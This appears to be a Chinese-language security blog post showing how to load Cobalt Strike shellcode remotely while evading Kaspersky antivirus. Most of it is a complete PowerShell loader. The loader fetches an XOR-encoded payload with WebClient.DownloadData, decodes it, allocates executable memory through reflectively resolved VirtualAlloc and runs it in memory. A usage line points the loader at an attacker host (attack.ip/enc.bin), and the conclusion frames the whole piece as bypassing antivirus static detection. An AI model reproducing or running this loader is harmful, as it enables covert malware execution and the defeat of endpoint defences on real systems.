远程加载
远程加载的思路很简单,只需要将bin文件放到cs服务器上,利用远程读取shellcode的方式将恶意代码加载到内存执行即可。
但是经过简单的测试我发现卡巴斯基对downloadstring方法检测的比较严格,因此考虑换一种方法。
声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
通过翻阅.net的官方文档我找到了这个方法:system.net.webclient.downloaddata。

与常用的downloadstring类似,只不过该方法是直接从uri读取字节数组。这正好解决了我们的麻烦,并且使得事情变得更简单了。
# remoteshell.ps1
Set-StrictMode -Version 2
function get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
$client = New-Object Net.WebClient
[Byte[]]$var_code = $client.
DownloadData($args[0])
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 26
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}


使用方法
将bin文件放到c2上
这里的bin文件是指同样经过上篇文章中的xor后的bin文件,因为测试发现卡巴斯基会跟随请求一并访问你的c2去检测.bin文件是否存在安全隐患。

远程加载
useage: powershell .remoteshell.ps1 http://attack.ip/enc.bin

结束语
简单的修改了cs原上线马的特征,因为cs的特征早就被加入规则库了,所以利用了最简单的方式去绕过杀软的静态查杀。
原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye